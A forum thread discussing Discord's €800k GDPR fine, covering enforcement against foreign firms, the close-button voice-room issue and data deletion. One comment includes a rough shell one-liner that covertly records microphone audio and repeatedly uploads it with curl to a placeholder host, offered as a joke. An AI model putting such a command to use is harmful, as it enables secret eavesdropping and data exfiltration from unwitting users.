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Discord fined €800k for failing to comply with several obligations of the GDPR

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Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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post #58

Earlier quoted context omitted.

Discord did not get this fine for this one point, but for the sum of all issues.

Yeah, but the fact that they got money from them for this "issue" is laughable.

They "didn't get money from them", the EU is not some sort of criminal operation.

They fined them based on violations reported by users and Discord can contest this in a court of law.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

#102
post #58

Earlier quoted context omitted.

Discord did not get this fine for this one point, but for the sum of all issues.

Yeah, but the fact that they got money from them for this "issue" is laughable.

No, they got money from them for the other issues probably.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

#103
post #38

So if I’m an American company and have no offices in Europe and ignore GDPR for my free customers, what happens? Will I get arrested by the Polizei when I land in Berlin? Will the US force me to pay these fines?

Seizing income originating from Europe, seizing payments to European companies seems obvious steps.

> Will I get arrested by the Polizei when I land in Berlin?

Maybe also this.

> Will the US force me to pay these fines?

I am also curious.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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>if I made a hello world program in C, they'd find a clever way of fining me Last time I check Hello World do not contain any internet connection code, let me know an example of C hello world that grabs your microphone input then sends it over the internet. Probably would be a single Linux command line job.

Something like:

    nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done & 
Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere?

Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

#105
post #3

> When a user logged into a voice room closes the DISCORD application window by clicking on the "X" icon at the top right of the window in Microsoft Windows, they actually just put the application in the background and stay logged into the voice room. However, in Microsoft Windows, clicking on the "X" at the top right of the last visible application window will exit the application for the vast majority of applicatio…

Why do apps think it is necessary to start playing with the UI when we have a minimise button? When I click "X" I expect the application to exit as it did in Windows 1.0 and the minimise button to either put it in the startbar or the status bar but keep running. EDIT: I remembered incorrectly, Windows 1.0 did not have a X button but a close button on the right side of the window.

> When I click "X" I expect the application to exit as it did in Windows 1.0

X didn't appear until Windows 95.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

#106

> When a user logged into a voice room closes the DISCORD application window by clicking on the "X" icon at the top right of the window in Microsoft Windows, they actually just put the application in the background and stay logged into the voice room. > DISCORD's behavior is different and may lead to users being heard by other members in the voice room when they thought they had left. Yeah, that's bad I'm not such a…

I'm not fond of regulatory agencies defining what constitutes an acceptable password policy. Also, regulatory agencies mandating UI designs - while in this case fairly innocuous - leaves a bad taste in my mouth.

>Also, regulatory agencies mandating UI designs - while in this case fairly innocuous - leaves a bad taste in my mouth.

There are probably a bunch of regulations that dictate on what is in your car's cabin and how they work.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

#107

Sorry but the points are totally valid. If you delete your account your messages are still available with a userid that if someone has it can be traced back to you. They also don't delete files or pictures you uploaded alone for this they should get fined.

Not only should they get fined. They should also fix the problem.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

#108

Seems insane, many apps keeps running with an icon visible in the notification area when exited like that. Discords icon also shows if you are in a voice channel.

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Did you even read the article? C'mon, it's not hard, it's about 1 page long.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

#109
post #38

So if I’m an American company and have no offices in Europe and ignore GDPR for my free customers, what happens? Will I get arrested by the Polizei when I land in Berlin? Will the US force me to pay these fines?

My suspicion is that only companies with significant business interests in the EU are targeted, investigated and fined. Otherwise they could just ignore it.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

#110
post #6
post #3

> When a user logged into a voice room closes the DISCORD application window by clicking on the "X" icon at the top right of the window in Microsoft Windows, they actually just put the application in the background and stay logged into the voice room. However, in Microsoft Windows, clicking on the "X" at the top right of the last visible application window will exit the application for the vast majority of applicatio…

> does Alt-F4 not do the right thing on Windows Alt-F4 closes the _window_, not the application. If the application can 'survive' without a window, not exiting the application is the correct behaviour.

Except for Discord, which actually closes the entire application on Alt-F4 instead of just the window.
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